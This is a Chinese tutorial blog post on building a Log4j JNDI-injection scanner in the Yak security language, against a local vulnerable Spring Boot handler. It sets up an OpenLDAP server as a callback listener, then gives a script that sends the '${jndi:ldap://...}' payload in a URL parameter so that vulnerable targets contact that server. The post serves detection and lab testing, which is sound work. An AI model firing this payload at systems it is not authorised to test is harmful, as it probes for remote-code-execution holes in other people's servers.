使用Yak搭建Log4j漏洞检测工具
01
Yak是什么
Yak 是一门 Web 安全研发领域垂直语言。专为安全而生,致力于安全能力融合的语言。内置多种网络安全模块。
总之Yak是整合了当前多种安全工具和开源项目,让安全从业人员无需安装复杂的依赖,就能上手工作。可以使安全从业人员快速进行安全检测和脚本编写。
由于本人接触这门语言时间不长,下面用Yak写一个简单的Log4j的检查工具。
02
Log4j漏洞
Log4j2 是一款 Java 日志记录框架。在Java开发中应用广泛。
2021年11月下旬由一名中国工程师、阿里云安全团队的 陈兆军(音译)发现Log4j2存着JNDI注入漏洞。并提交Apache官方。
该漏洞被称为:「互联网正在着火」「过去十年最严重的漏洞」「现代计算机历史上最大漏洞」「难以想到哪家公司不受影响」!
漏洞利用流程如下:
03
搭建漏洞利用环境
由于Log4j漏洞的影响很多DNSLog平台纷纷屏蔽了LADP协议。所以为了方便起见,自己搭一个LADP环境,用于漏洞的检验
1. yum 安装相关包
yum install -y openldap openldap-clients openldap-servers
2. 复制一个默认配置到指定目录下,并授权,这一步一定要做,然后再启动服务,不然生产密码时会报错
cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG
3. 授权给ldap用户,此用户yum安装时便会自动创建
chown -R ldap. /var/lib/ldap/DB_CONFIG
4. 启动服务,先启动服务,配置后面再进行修改
systemctl start slapd
systemctl enable slapd
5. 查看状态,正常启动则ok
systemctl status slapd
6. 在slapd.conf中加一行:
loglevel 4095
7. 在/etc/rsyslog.conf 中加入ldap日志文档:
local4.* /var/log/ldap.log
8. 创建日志文件
touch /var/log/ldap.log
9. 重启 syslog和OpenLDAP
systemctl restart rsyslog
systemctl restart slapd
10. 测试是否可通,随便找一台其他主机
telnet OpenLDAP所在机器ip 389
11. 查看 /var/log/ldap.log日志,发现日志中已经记录了访问的IP信息
04
使用Yak编写log4j扫描服务
yak log4jScan.yak
-m 请求方法Get/Post(当前只支持Get,默认Get)
-p 参数名(一般像username之类的)
log4jScan.yak 内容如下:
//获取ldap地址
raw = cli.String("l");
//拼接注入内容
payload = "${jndi:ldap://" + string(raw) +"/}"
println("注入参数:"+string(payload))
//获取要扫描的URL
url = cli.String("u")
method = cli.String("m")
params = cli.String("p")
if params == "" {
params = "v"
}
if method == "" {
method = "Get"
}
//发送注入请求
if method == "Get" {
code =codec.EncodeUrl(payload)
url = url+"?"+params+"="+code
println("发送url:"+string(url))
rsp, err := http.Get(
url,
)
die(err)
println()
raw, err := io.ReadAll(rsp.Body)
die(err)
println(string(raw))
}
05
验证成果
使用springboot简单搭建一个log4j漏洞环境,关键的漏洞处:
public String quick( String v) {
LOG.error(v);
return "hello SpringBoot !";
}
yakit控制台输出日志:
查看OpenLDAP日志:
06
结束语
07
END
感谢望川的投稿~~大家有兴趣的可以添加以下二维码进群交流~(还在招人中,实习全职均可~)